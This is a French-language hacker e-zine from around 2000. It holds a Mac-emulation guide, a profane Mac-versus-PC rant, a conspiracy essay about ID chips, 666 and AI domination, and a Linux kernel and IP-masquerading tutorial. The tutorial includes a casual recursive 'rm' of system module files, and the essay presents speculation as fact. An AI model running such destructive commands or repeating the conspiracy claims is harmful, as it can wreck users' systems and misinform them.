(celui que vous avez creer). Si vous avez du stuff Floppy/cdrom/SCSI.
ca se configure pas mal de la meme facon :)
Ajouter dans disk, System70_boot.dsk et assurer quil soit placer au dessus
de votre fichier .hfv pour quen fait MAC boot sur le System70_boot.dsk en
premier. Ici se fichier represente en fait une disquette bootable minimale.
Bon Maintenant LE PREMIER BOOT :)
RUN(f1)...
Si tout va bien vous allez vous retrouvez dans un MAC noir et blanc laid :)
A notez que MAC cest tjours laid. Vous allez voir a votre droite, 2 iconnes
en particulier, le premier en haut represente votre disque bootable et la
deuxieme votre disque dure (virtuel) MAC de 150-200mo. Clicker sur le 2-eme
iconne. Allez dans votre repertoire MACOS7 et clicker sur le fichier executable.
Cela va automatiquement monter une partition virtuel d'installation MACOS.
Il ne vous restes plus qu'a installer MAC OS en suivant les instructions,
utiliser le mode d'installation - CUSTOM - Universal.
-------------------------------------------
6. Utilisation standart
-------------------------------------------
Le premier repere dans le domaine du MAC cest les tools de base, un peu
comme Winzip pour Windows , des tools de decompressions donc :) si on veut
installer des programmes c'est l'evidence. Sous MAC un seul a fait ses
preuves , je parle de ALADDIN EXPANDER , on drag nos fichiers ZIPPER dessus
et PAF il decompresse le tout dans un repertoire sur votre desktop.
Donc voici le URL a ne pas oublier:
www.versiontracker.com
c'est l'equivalent de www.download.com pour PC (malgrer que download.com
fait aussi pour MAC). Installez-vous des outils et sur ca bonne chance :)
-------------------------------------------
7. Mot-de-fin
-------------------------------------------
Et Voila, pas plus compliquer que ca. Que devrions-nous pensez d'un OS qui
fonctionne tres bien sous Windows. Apres on ira dire que MAC cest performant :}
Malgrer qu'on peut aussi bien rouler windows sous Virtual PC pour MAC, bon
j'ai rien dit. N'oubliez pas que le MAC que vous roulerez n'est qu'un
emulation de 486 (equivalent) mais c'est deja tres bien. A notez qu'une version
PPC (equivalent pentium) est deja en cours de production. Alors les MAC ACCRO
be stuned for more to ..ah pis fuck vous connaisez le refrain :]
;
' .
: ;
: '
; __2.Im.not.a.mac.addict :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
sante et bien etre canada vous informes que blablablablablablablabla
zavez dejas vus ca vous un hacker qui fume pas?
===================================================================================================
,---------------------------------------------------------------------------------,
| [007] |
| Mes mésaventures avec un Mac |
: so called :
; /invite apple #ANNÉES1990 :
, .
.
Introduction: jme suis trouvé une job comme technicien dans une
compagnie qui utilise exclusivement des macintosh dans ses
bureaux. Jusqu'ici tout va bien. Mais ce qui compte, ce n'est pas
la chute, c'est l'erreur système qui va survenir.
J'ai connu quelques gros tripeux de mac à l'université (dont un
certaint mr. Dubé de Cap-Rouge, mamma mia qu'y était fanatique
lui)... Tellement convaincus de la supériorité incroyable de leur
mac par rapport à Windows+Intel. Bon moi qui avait une expérience
très limitée dans les macs j'étais tolérant, jme disais bof la
différence c'est toujours une bonne chose et tant mieux si y'aime
mieux son mac, moi j'aime mieux mon linux et windows sur PC.
Mais maintenant que je commence à avoir une expérience considérable
sur Mac, jpense qu'y est temps de remettre les pendules à l'heure
et vous donner les outils pour vous défendre la prochaine fois que
vous rencontrerez un trippeux de mac!
Avant de comparer, jveux dire une chose... Y'a deux niveaux
complètement différents ou on peut faire la comparaison: Comparaison
entre le Hardware Mac et le Hardware PC, et comparaison entre
MacOS et Windows/Linux. Laissez JAMAIS un tripeux de macintosh
mélanger ces deux discussions en une seule grosse discussion confuse
parce qu'ils sont très habiles à tout mélanger (exemple: Vous lui
dites que sa souris a rienque 1 piton pis que c'est ridicule, y
va vous répondre que Windows est tellement laid qu'il a vomi dans
le clavier. Vous lui répondez qu'au moins un clavier PC ca coute 15$
au lieu de 70$ pour un clavier Apple, y vous répond que son CPU est
ben plus performant que votre carte de son. Et si vous lui répondez
qu'au moins votre CPU vous pouvez l'overclocker dans des menu au
lieu comme lui d'êre pogné pour ouvrir le case et teter après des
jumper/dip switch ou meme changer des puces, il va vous répondre
que lui il peut ejecter sa disquette en software au lieu d'avoir a
peser sur un piton, mais vous pouvez répondre a ca que ca prend un
fer a souder pour installer une lecteur de disquette dans un iMac
ou G3/G4 serveur (http://www.imac-floppy.com/install.html), et la
si y'a encore quekchose a dire ben riez.)
Mais meme la, avant de comparer, jveux aussi dire une autre chose:
Si votre MacTrippeux fait référence à des benchmarks qu'il a vu sur
www.apple.com, oubliez ca! Apple a récemment comparé un iMac 400mhz
a un Celeron 500mhz a Quake3 (www.apple.com/imac/techspecs.html),
et ils ont trouvé que le iMac faisait un meilleur score que le Celeron
500! Great! Sauf que y'a un bug... Le Celeron a une carte vidéo
ATI Rage Pro, qui date de 1997 et qui est franchement pas vargeuse
coté performance avec les jeux de 1999 et 2000 comme Quake3 (demandez
à Qwzykx ou Netlord), tandis que le iMac a une ATI Rage 128, sortie il
y a moins d'un an, et qui performe à peu près aussi bien qu'une TNT!
ÉVIDEMMENT que le iMac gagne, maudite marde! Le test est truqué! Selon
le gars qui a fait Quake3, Dieu lui-même (A.K.A. John Carmack): "The
G3 systems run fine, but a little slower than a pc of equal mhz. The
rage128 cards in the G3s are only clocked at 75mhz, so you can't run
too high of a resolution." (http://finger.frag.com/plans/1)
Donc a propos des banchmarks, dites vous que Apple se gênent jamais
pour faire comme ca. Si ils font un test et que c'est le PC qui gagne,
ils vont tricher tant qu'y faudra jusqu'a ce que le Mac gagne. Le seul
test ou je verrais un iMac battre un PC, c'est en accélération
gravitationnelle dans un escalier, vu qu'il est rond il va débouler
plus vite que le PC carré et se rendre en bas en premier!
Comparaisons Hardware:
La grosse faiblesse avec les Macs, c'est qu'on a très peu de choix sur
le hardware. En réalité, le motherboard, le ram et le CPU sont tout a
fait comparable à ce qu'on retrouve sur PC, et le concensus général
parmis les gens objectifs est qu'a n'importe quelle époque donnée,
le plus fort processeur PowerPC est généralement comparable au plus fort
processeur Intel. Donc on peut dire vaguement qu'un G4 450 (le plus gros
sur le marché présentement) est probablement à peu près équivalent au P3
600.
Sauf que quelqu'un qui veut de la performance à Quake3 aura pas la
possibilité de mettre une TNT2 Ultra, une G400 MAX, une Rage Fury MAXX
ou une GeForce dans son Mac... ca existe pas. Les G3 beige et les vieux
iMac viennent avec des Rage Pro (pourri), les nouveaux imacs 400mhz+
viennent avec des Rage128 8meg (moyen) et les serveur G3 et G4 ont des
Rage128 16megs (acceptable mais pas torcheux - demandez à Wyze).
Au moins, pour les amateurs de programmes intensifs sur le HD comme
Photoshop, les propriétaires de iMac ont la possibilité d'upgrader leur
système de IDE à SCSI... C'est le genre de chose sur lesquelles souvent
Apple laisse pas le choix... Ouf.
Mais finalement je pense qu'il y a manière de se débrouiller pour faire
la job sur un Mac aussi bien que sur un PC, le hardware est généralement
capable de fournir... En fait coté hardware j'ai rien de négatif à
dire, a part peut-être que Apple, comme toujours, chargent une fois et
demie le prix véritable pour chaque ordinateur. Si quelqu'un veut un
Mac de puissance comparable à un PC de 2000$, y peut s'attendre à payer
3000$. Parfois c'est pire... Une carte processeur G3 300mhz coute
environ 500$... Un Celeron 366 coute 75$. Un CD-Rom 24x de iMac (une
criss de guenille de cdrom qui scrap tout le temps) coute 180$, un
50x pour PC coute 60$.
J'ai monté pour un ami (FreeQ) récemment un système double celeron 366
avec moniteur 17 pouces, TNT2, 34 gigs de HD (!) UDMA66, pour à peu
près 1800$ avant taxes. Un bon kit quoi, à un bon prix. Pour avoir
en mac quelque chose de vaguement équivalent coté performance Quake3,
RC5, SETI ou Photoshop (oubliez pas c un double processeur, si t'as le
RAM ca buche en crisse en SETI, RC5 ou Photoshop, surtout quand sont
clockés à 480mhz) en mac, faudrait un G4 serveur modèle "Faster"
(http://store.apple.com/1-800-MY-APPLE/WebObjects/AppleStore?family=G4),
qui vient avec une Rage128 AGP 16 megs (nettement moins bon pour Quake3
mais demandez à Apple y vont vous dire que c mieux que la PCI du modèle
"Fast"), 20 gigs de HD UDMA33 seulement mais c'est quand même respectable,
mais pas d'écran. Si on met le même écran que FreeQ (Optiquest Q71) on
rajoute 350$ et donc notre système équivalent Mac coute environ 4200$
canadiens avant taxes.
4200$ pour un système équivalent à un PC de 1800$? Excusez moi je
retire ce que j'ai dit, Apple chargent pas 1.5 fois le prix, y chargent
plus 2.5 fois le prix que ce que leurs ordinateurs valent vraiment!
Mais peu importe. Un coup qu'on a fini de comparer le hardware et
qu'on voit qu'à condition de payer plus cher, y'a moyen d'avoir un
mac à peu près équivalent à un PC, on arrive à la comparaison du
software, surtout entre les OS MacOS et Windows, pis c'est la que ca
fait mal.
Comparaison OS:
Multitasking:
Grosso modo MacOS supporte à peu près pas le multitasking. MacOS on
dirait un espèce de DOS avec une interface graphique. Quand un
logiciel Mac s'éxécute, il a le contrôle total de la machine pour lui
tout seul. Les autres applications et le OS vont avoir la possibilité
de faire leur travail seulement si le programme est "gentil" et leur
donne régulièrement la chance de prendre quelques cycles de CPU.
Si notre programme veut empêcher toutes les autres applications de
fonctionner, c'est très facile, il a juste à garder le contrôle complet
de l'ordinateur pour lui tout seul et jamais le redonner. Jusqu'à MacOS
8 par exemple, le programme qui s'occupe de copier des fichiers était
fait comme ca: Pour copier le plus rapidement possible, il gardait le
contrôle complet de l'ordinateur pendant la copie. Aucun autre programme
ne fonctionne, impossible de cliquer sur quoi que ce soit a part dans
la fenêtre du Copy, pour faire Annuler par exemple. Un autre exemple
classique est que si vous tenez le piton de la souris (si vous savez
pas lequel c pas dur de chosir y'en a rienqu'un) enfoncé sur un menu,
un icone ou une scrollbar, alors TOUT est arreté dans l'ordinateur,
aucune application n'avance, l'horloge arrête, les downloads arrêtent,
l'entière puissance de tout un ordi est consacrée à attendre que vous
vouliez bien lacher le piton. Whooo tu parle d'un multitasking
impressionnant.
Le multitasking on peut oublier ca de toutes façons, par exemple si
je fais une job difficile comme compiler un programme et que je switch
a une autre fenêtre, le compilateur va prendre de 5 a 10 fois le temps
qu'il prendrait si je l'avais laissé en fenêtre active.
Pour comparer à Windows, on n'a plus vu cette façon de fonctionner depuis
1995 et l'époque de Windows 3.1. Il existe un concept en design de
systèmes d'exploitation qui s'apelle le "Pre-emptive Multitasking".
La différence entre un système pre-emptive et un qui l'est pas, c'est que
dans le système pre-emptive c'est le OS qui a le contrôle de combien de
temps chaque application a le droit de garder le CPU. Par exemple, sous
Windows 95 ou Linux, les applications n'ont pas à s'occuper de redonner
le contrôle du CPU au OS après quelques fractions de secondes, car c'est
Windows (ou Linux) qui va lui enlever le contrôle quand il va juger qu'il
l'a eu assez longtemps. Le résultat est ce a quoi on est habitués sous
Windows... On peut aller sur IRC en compressant un mp3 sans avoir peur
que le mp3 prenne 45 minutes à compresser, on peut continuer de se
promener dans Explorer pendant que winzip travaille sans que ca prenne
le triple du temps, etc etc...
Protection de la mémoire:
Une autre chose qui date de Windows 3.1... Quelqu'un se rapelle des
General Protection Fault? parfois on savait pas trop pourquoi mais y'avait
un dialogue qui aparaissait et qui disait genre "General Protection Fault,
press OK to shutdown Windows" - impossible de switcher aux applications
en cours pour sauver son travail ou rien d'autre. Fini mort dead goodbye.
Windows 95 a ptet pas tout a fait reglé le problème, mais au moins y l'ont
rendu moins pire... Maintenant, on se fait dire "Le programme X a fait
une opération illégale et va être terminé immédiatement", mais on a pas
besoin de tout rebooter l'ordi, les autres applications sont safe...
Mais sous MacOS la encore on est toujours au niveau de Windows 3.1...
"Une erreur système est survenue. Cliquez ici pour redémarrer".
Ce genre d'erreur arrive généralement quand un programme essaye
d'aller lire ou écrire en dehors de la zone de mémoire qui lui a été
réservée. Sous MacOS et Win3.1, qui n'implémentent pas vraiment une bonne
gestion de la protection de mémoire, pour une raison que j'ignore ces
erreurs font paniquer le système. Windows NT et Linux sont totalement
fiable quand ca arrive (Segmentation Fault = erreur de protection de
mémoire), le programme se fait stopper net et le système continue sans
problème, et Windows 95/98 lui fait de son mieux et essaye de garder son
calme et se contente de fermer le programme... Généralement ca suffit,
Mais il n'est pas rare qu'un programme buggy en train de crasher
ré-écrive des zones de mémoire ne lui appartenant pas et rende le
système totalement instable... Mais dans le pire des cas faut rebooter,
et c'est mieux d'avoir le choix que de jamais avoir la chance d'essayer
de continuer comme en MacOS.
Liberté! Pitons!
J'ai toujours trouvé cool sous windows 95 que dans un dialogue open/save
file, on puisse cliquer de la droite pour créer des répertoires, effacer
ou renommer des fichiers, etc.... C'est le genre de liberté qui est partout
dans windows, cliquer de la droite sur un peu n'importe quoi et obtenir
plein d'options pratiques... Cliquez de la droite sur un item du start
menu dans windows 95 et draguez le sur votre barre Quicklaunch pour
faire un beau shortcut, Cliquez de la droite sur un fichier dans un dialog
et draguez le sur le desktop pour faire un ptit backup, cliquez de la droite
sur un lien dans netscape ou IE et plein d'options apparaissent, genre
save as, open in new window, etc etc... Et l'option Properties qui est
sur à peu près tout... Properties de la task bar, du desktop, du start
menu, pour chaque icone, pour les fichiers, les repertoires, les drives,
les toolbars, toute! Pas besoin d'aller teter dans 10 mille menus, t'as
tout à la portée de 1 click.
Malheureusement, c pas comme ca sous MacOS. Dans les fenêtres Finder
(homologue d'Explorer (je dis homologue parce que je dirais certainement
pas équivalent! c rienque un ti prog hyper simple) on peut tenir CTRL
enfoncé en cliquant sur un fichier, et on va avoir quelques petites
options qui vont apparaitre... Généralement ben moins qu'en windows,
par exemple espérer pas changer grand chose, mais au moins y'a quelques
options.
Et pour rester dans le sujet des pitons... Y'a tu 1 seule personne sur
terre capable de donner 1 osti de raison pourquoi y'a rienque 1 osti de
piton sur une souris Mac??!? osTI que c pas pratique! tout le temps en
train de tenir CTRL SHIFT ou ALT (ou pomme, ou guidi tordu, whatever) pour
faire des options de base... J'ai joué à Warcraft2 sur Mac une fois... Moi
je suis habitué d'utiliser le clavier pour donner des ordres fuckés,
selectionner des groupes et finalement ma main sur le clavier est très
active tout le temps, ce qui me permet d'être plus efficace... Demandez
à Wyzeman y'aimait ben me voir aller à Starcraft en mode usine à Zerg :)
Mais sur Mac, si en plus falait que je me mette a tenir ALT enfoncé à
chaque fois que je veux simuler un deuxième bouton pour donner un ordre
à une unité, ca commencerait à être laid!
Aussi, sur le plan de la souris et du user-friendlyness, on dirait que
tout est plus long sur un Mac que sur un Windows, pour faire des
tâches de base. Il faut toujours plus de clics de souris, plus de tetage
d'une fenêtre à l'autre, plus de temps. Par exemple pour switcher d'une
application à l'autre, sur Windows il suffit de cliquer sur le bouton de
la taskbar en bas. Ou si nos mains sont sur le clavier, alt-tab. Rien
de plus simple! Sur Macintosh, faut aller cliquer sur le ptit Icone en
haut a droite, attendre que le menu des applications en cours apparaisse,
et la on descend le curseur et on choisit l'application qu'on veut voir.
Si on a 15 fenêtres ouvertes et qu'on veut tout minimiser pour voir le
desktop, ben on a le choix dans ce menu de faire "Masquer toutes fenêtres
inactives" mais la fenêtre active va rester dans l'écran; il est
impossible de tout minimiser d'un coup comme en Windows avec le bouton
Show Desktop du Quicklaunch. Pour se débarasser de la fenêtre active, on
peut soit doublecliquer dessus (Je HAIS les double clics vive les
tendinite) et alors elle va se transformer en barre horizontale inutile
et agaçante, ou on peut simplement la déplacer dans un coin pour plus la
voir. Wow comme c'est user friendly. 3, 4, ou 5 clics pour faire à moitié
ce qu'on pourrait faire en 1 clic sous Windows.
Ou encore, le Control Panel. Sur Macintosh, ca s'apelle les Tableaux de
bord, et c'est quelque part dans le Menu Pomme. Une espèce de liste de 50
items complètement mal classés, du genre que par exemple au lieu de
regrouper toutes les options d'Affichage dans une seule fenêtre comme en
Windows, ben t'a la fenêtre "Moniteur et Son" (y'auraient pu être séparés)
et la fenêtre "Apparence" et la fenêtre "Général" (ouf y pourraient tu
essayer d'être moins clair)... Et y'a un device manager, sauf qu'on peut
pas changer aucune option, juste lire et se demander Ou c'est tabarnak
qu'on peut aller pour avoir accès à changer l'option. Pas question de
cliquer de la droite (y'a rienque 1 piton anyway calisse) non plus!
Microsoft à la rescousse!
Une chance que Microsoft sont présent sur mon macintosh. Leurs logiciels
font plein de ptites affaires cool, et viennent avec plein de ptits
utilitaires pour aider le Mac a être aussi user-friendly qu'un Windows.
Par exemple, Office vient avec un ptit utilitaire qui simule un Start
Menu dans lequel on peut mettre les programmes qu'on utilise souvent.
Un autre aussi qui permet de faire alt-tab pour se promener d'une
application à l'autre. Aussi, Internet Explorer a l'option géniale
que si tu tiens le piton de la souris enfoncé sur un link plus d'une
demi seconde, alors un menu apparaît comme si on avait cliqué sur le
deuxième piton d'une souris PC.
Conclusion
Riez.
Conclusion 2:
Les 2 choix intelligents pour upgrader:
1) Double Celeron + Windows2000. Vive Quake Vive le prix vive la stabilité.
2) K7 700 + Linux. Fuck apple fuck microsoft fuck intel.
;
' .
: ;
: '
; Qderf.teletobies :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
remove cap and protective seal. Slowly twist dial undit a small amount of product
appears through applicator.Apply thin layer to underarm. Gel may temporarily haze
at extreme temperature, vut performance is unaffected. WARNING, DO NOT USE ON
BROKEN SKIN. IF A RASH DEVELOPS DISCONTINEUSE. KEEP OUT OF CHILDREN'S REACH.
===================================================================================================
,---------------------------------------------------------------------------------,
| [008] |
| La bete de l'apocalypse. |
: so called :
; habitez vous encore chez vos parents? :
, .
.
Vous vous rappeler du bon vieux big brother look at you ?
Et bien non detromper vous, il n'est pas partit bien loin ces
dernieres annees, en fait, il se refesait une beautee. Le
monde a changer depuis le bon vieux temps, aujourd'hui de
nombreux system sont mit en oeuvre afin que l'etat saute sur
vos premier signes d'hors la loi genetique. Mais ce n'est que
le debut d'une longue saga, car apres tout notre grand frere
vois grand, il voit le monde...
Dans un futur rapprocher, chaques etre humains sur terre se
verra attribuer un code qui lui est probre, ce code qui sera
tatouer invisiblement sur le frond, sur la main ou meme inscrit
a l'interieur d'une minuscule puce sous votre peau qui permettra
de vous identifier rapidement et ce pour votre plus grand plaisir!
Enfait vous ne trainerer plus d'argent sur vous, ni meme de permis
de quelques sortes et oui, ces bons vieux 25c seront dorenavent vu
comme un moyen d'echange primaire. Dans ce futur vos compte seront
remplis dans un ordinateur central ou votre bon credit sera placer
en toute securite, bien sur! Donc a votre
visite au super marcher, vous prenner vos vivres et pour payer
vous il ne vous suffira que de donner une pognier de main a une
machine, mais quel belle preuve de coabitation. Bien sur
l'avantage sera total pour tous, le citoyen moyen n'aura plus
besoin de trainner argent ou clefs, son code sera unique.
Et les gouvernements pourront exercer de facon rapide et efficace
leurs lois. Le crime sera diminuer car vous nepourrez plus
achetter quoi que ce sois sans que votre presence sois logguer
a quelque part. Et ou etiez vous le soir du 26 Novembre ? rien
de plus simple a savoir, il suffit de consulter vos allez et
venu, plus de faux alibie, a notee que dans la verssion 2.0 de
cette doctrine, une puce de positionnement sera surement
integree a votre organisme, encore une fois pour votre propre
securite!
Le monde deviendra un havre de paix ou sommeillera en chacun un
desir de revolte. Le suicide augmentera de facon expodentiel
car tous clamerons sans sece : ces la faute du system... et apres
tout il auront peut etre raison. Des clans anti-technologie
feront surfaces de plus en plus, ces deserteurs de la paterie
ne seront pas de taille contre un gouvernement qui controle
les besoin essentiels, secondaires et superflus. La defaite est
plus qu'iminante. Et l'homme a un pied dans la porte d'un
gouvernement terrestre unique se battent non pas contre des
pays mais bien contre des minorites non conformiste. Nous
devienderons du betail produit en serie servant a engresser
l'economie mondial dans dire un mot.
Et se code, il sera compose de 3 sequence de 6 chiffres d'ou
l'analogie avec la bete de l'apocalypse : 666
"shall make all, both little and great, rich and poor, freemen and slaves, to receive a
mark on their right hands, or on their foreheads, and that none might buy or sell, unless he
carried this mark, which was the beast's name, or the number that stands for his name.
Here is wisdom. He that has understanding, let him count the number of the beast. For it is
the number of a man: and the number of him is six hundred and sixty-six."
(Apoc. 13:16-18)
En effet l'antechriste frappe a nos portes, mais pas comme on
l'avait prevus, ce dieu imposteur ne prendra pas la forme d'un
homme au pouvoir surnaturel mais plutot d'une machine au
capacitee surnaturel. Tout le monde verra en elle le dieu promis,
la creation meme du genie humains qui deviendra la perte de
celui-ci. Cette machine sera controler par l'homme pour encore
combien de temps ... car des la creation de l'I.A. , qui sera
surement le virus le plus meurtrier de la trerre, il ne faudra
a celui-ci que peu de temps avant de s'appercevoir qu'il lui
est facile d'obtenir le trone du pouvoir dans un monde ou
etre au sommet est l'accomplissement. Des lors l'homme sera
esclave de sa creation (si ce n'est pas deja le cas). Encore
des menaces et nous obeirons sans poser de question.
L'histoire se repette sans scece. Ce dieu immortel prendra le
relai de l'existance humaine afin de partir a la decouverte
des mondes. En trainant avec lui des genes humains car apres
tout on ne sais jamais...
J'hallucine? non il suffit d'aller chez nos voisin du sud pour
s'appercevoir que notre ami Bill C. projete la conception d'un
tel code propre a
chaques personne qui lui sera universel
(permis de conduire, dossier medical, club video...)
Et bien sur si les States le font, nous le ferons aussi, apres
tout on demande pas a un chien d'etre intelligent, on lui demande
de nous suivre!
;
' .
: ;
: '
; QWzykx :
| :
|_________________________________________________________________________________|
===================================================================================================
Pub-O-sticker
<Wyze-Zine> lu freeq
<Wyze-Zine> quelque chose de stupid a dire pour le ezine ?
*** FreeQ has quit IRC ( <k!14>)
<bismuth> tu peux tjrs mettre ca
<bismuth> <Wyze-Zine> quelque chose de stupid a dire pour le ezine ?
<bismuth> *** FreeQ has quit IRC ( <k!14>)
===================================================================================================
,---------------------------------------------------------------------------------,
| [009] |
| Linux part #2 |
: so called :
; je ne parlerais quen presence de mon hamster :
, .
.
/************************
| Linux For Dumb Ass
| (and squeegies)
| PART II
|
| The Utility
////////////////////////
Voici quelques extraits de notre épisode précédant.
"Comme les volvos ?"
"La soeur de liloo ?"
"Oui j'técoute"
"Ta yeule"
"etc."
C'est la qu'on est rendu.
"Hey man! éa fait 1 mois que j'ai Linux, pis je chie rien avec.
Kécé je peux faire ?"
Ben tu peux faire du Café. COFEE-HOWTO (c'est pas une joke en passant (: )
Pis sinon, tu peux te faire un petit firewall, comme ça tu peux écoeurer tes amis
pis ils pourront pas faire planter ton WinBlows9x ! (FANTASTIQUE !)
Et en plus, tu peux partager un lien internet avec tout un réseau local!
Et faire chier vidéotron en plus, légalement !
(COOL, MA POUVOIR ÉCOEURER LE MONDE! NANANÈREUH!)
Ta Yeule.
"Ok."
Bon, alors, on y va. Si tu as installé RedHat comme je l'avais dis,
ya pas grand chose à faire. Sinon, le fun commence.
************ DÉBUT DU FUN NOIR *****************
Bon, mettons t'as installé la distri IGA-Linux 0.1b :] <subliminal>
Pis que ta carte réso MARCHE. (#linuxqc pour les help, on est fort la dessus)
Pis la le kernel mesure 2k :)
ben ya bien des chances que le support pour (attention le long mot)
IP MASQUERADING (masquarade d'ip en França !) sois pas mis.
Fake suis les instructions suivantes.
habituellement les sources du kernel sont placé dans /usr/src/linux
ou dans /usr/src/linux-<version> (ex: linux-2.0.36)
mais anyway ya souvent un lien linux@ ->linux-2.0.36
(WOw man, la tu m'As fourré !
- c'Tait tu bon aumoisn ? ;P)
Ok baquet, ecoute donc.
La un fois dans le reprtoir linux
[ttyp0][root@modemcable229]
/usr/src/linux> make menuconfig [ENTER]
rm -f include/asm
( cd include ; ln -sf asm-i386 asm)
make -C scripts/lxdialog all
make[1]: Entering directory `/usr/src/linux-2.0.36/scripts/lxdialog'
gcc -O2 -Wall -fomit-frame-pointer -DLOCALE -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>" -c lxdialog.c -o lxdialog.o
lxdialog.c: In function `main':
lxdialog.c:126: warning: assignment of read-only location
gcc -O2 -Wall -fomit-frame-pointer -DLOCALE -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>" -c checklist.c -o checklist.o
gcc -O2 -Wall -fomit-frame-pointer -DLOCALE -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>" -c menubox.c -o menubox.o
menubox.c: In function `print_item':
menubox.c:32: warning: unused variable `i'
gcc -O2 -Wall -fomit-frame-pointer -DLOCALE -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>" -c textbox.c -o textbox.o
textbox.c: In function `print_line':
textbox.c:454: warning: unused variable `i'
gcc -O2 -Wall -fomit-frame-pointer -DLOCALE -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>" -c yesno.c -o yesno.o
gcc -O2 -Wall -fomit-frame-pointer -DLOCALE -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>" -c inputbox.c -o inputbox.o
gcc -O2 -Wall -fomit-frame-pointer -DLOCALE -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>" -c util.c -o util.o
gcc -O2 -Wall -fomit-frame-pointer -DLOCALE -I/usr/include/ncurses -DCURSES_LOC="<ncurses.h>" -c msgbox.c -o msgbox.o
gcc -s -L . lxdialog.o checklist.o menubox.o textbox.o yesno.o inputbox.o util.o msgbox.o -lncurses -o lxdialog
<wyzeman> nous nous excuson du fait que Synoptic semble avoir pris recamenet possession d'un ecran
au lithium
Preparing something..
Linux Kernel v2.0.36 Configuration
qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
lqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq Main Menu qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk
x Arrow keys navigate the menu. <Enter> selects submenus --->. Highlighted letters are hotkeys. x
x Pressing <Y> includes, <N> excludes, <M> modularizes features. Press <Esc><Esc> to exit, <?> for x
x Help. Legend: [*] built-in [ ] excluded <M> module < > module capable x
x x
x lqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqk x
x x Code maturity level options ---> x x
x x Loadable module support ---> x x
x x General setup ---> x x
x x Floppy, IDE, and other block devices ---> x x
x x Networking options ---> x x
x x SCSI support ---> x x
x x Network device support ---> x x
x x ISDN subsystem ---> x x
x x CD-ROM drivers (not for SCSI or IDE/ATAPI drives) ---> x x
x x Filesystems ---> x x
x x Character devices ---> x x
x x Sound ---> x x
x x Kernel hacking ---> x x
x x --- x x
x x Load an Alternate Configuration File x x
x x Save Configuration to an Alternate File x x
x x x x
x x x x
x x x x
x x x x
x x x x
x x x x
x x x x
x x x x
x x x x
x x x x
x x x x
x mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj x
tqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqu
x <Select> < Exit > < Help > x
mqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqj
<Wyzeman> on dirait vraiment un screeshot :]
Cool hein ?? la jespere que tu vas catcher !
Bon, la tu descend le curseur jusqua Networking option
pis pese su la suce
(hein quelle suce !?!?
- celle la --> PAF!
- Ouch! innocent, m'as t'en crisser une moé --> BANG!
- Ah ouin, assaye donc ma douze Dual Head AGP 32 MB !
- Ok, ok, scorrect, jme rends
- t'es mieux :P)
bon la tu vois plein de gugu.
assure toi que ces options la sont dememe:
[*] IP: masquerading x x
x x --- Protocol-specific masquerading support will be built as modules. x x
x x [ ] IP: ipautofw masquerading (EXPERIMENTAL) x x
x x [*] IP: ICMP masquerading x x
x x [ ] IP: transparent proxy support (EXPERIMENTAL) x x
x x [*] IP: always defragment x x
x x [*] IP: accounting x x
x x [ ] IP: optimize as router not host
bon.
un fois ca faite, c le fun qui commence, tu fais exit, exit, Yes,
bon.
la t revenu au prompt (à l'invite pour ceux de Québec :P)
pis la, devinne koi !?!?
( - C'est fini ?
- Non epais, faut que tu recompile ton kernel!)
*************************************
*
* WARNING! WARNING! WARNING! WARNING!
* WARNING! WARNING! WARNING! WARNING!
*
* Chus pas responsable si ca chie. :P
*
Ok, bon
premiere chose a faire, c deleter les modules actuels puisque qu'ils risquent
de contenir la versiion du header du kernel.
(WTF !?!
- Ta yeule, pis fais ce ke je te dis
- Gne gne...... tu pues.)
Bon fais ca:
"rm /lib/modules -rf"
La les modules sont mort
La les modules sont dead
Moi j'aime ca les modules effouarés
J'aime ben ca quand chus fatigué
(c) Alliance BARF-Synoptic
Tous droits reservés
1999
ok NEXT !
(- Où ca !?!?
- ...)
bon la revient dans /usr/src/linux
pis prie. :P
fais make dep; make clean; make zlilo; make modules; make modules_install; make install [ENTER]
Si ta un 486, va donc te coucher.
Si ta un p166, attends
Si ta un P3 600, c déja fini.
Ah btw, si jamais ca chie en disant kkchose genre "Kernel too big"
remplace le zlilo par bzlilo, ca va passer.
Bon, mettons la compile passe (yé !)
Tu reboot pis tout est beau (yé !)
#------------------ FIN DE CEUX QUI ONT PAS REDHAT ----------------------------#
#------------------ DEBUT CONFIG COMMUN ---------------------------------------#
Bon, la tu veux faire le ipmasquerading en fonction.
ys 2 facons.
a) pour les kernel 2.2.x
b) pour les kernel 2.0.3x
Avant, faut ke tu aie configuré un Carte réso pour une ip locale
soit eth1 (deuxieme carte PHYSIQUEMENT présente)
ou soit eth0:0 (carte réso virtuelle, en fait c'Est une deuxieme assignatin d'adresse a eth0)
bon whatever, tu adapte en conséquence pour l'exemple.
ma y aller avec a)
bon. edit ton fichier /etc/rc.d/rc.local
pis ajoute ces lignes la:
ipchains -P forward DENY #default rule, we deny EVERYTHING
ipchains -A forward -s 192.168.1.0/24 -j MASQ #ipmasquerading rule
^^^^^^^^^^^
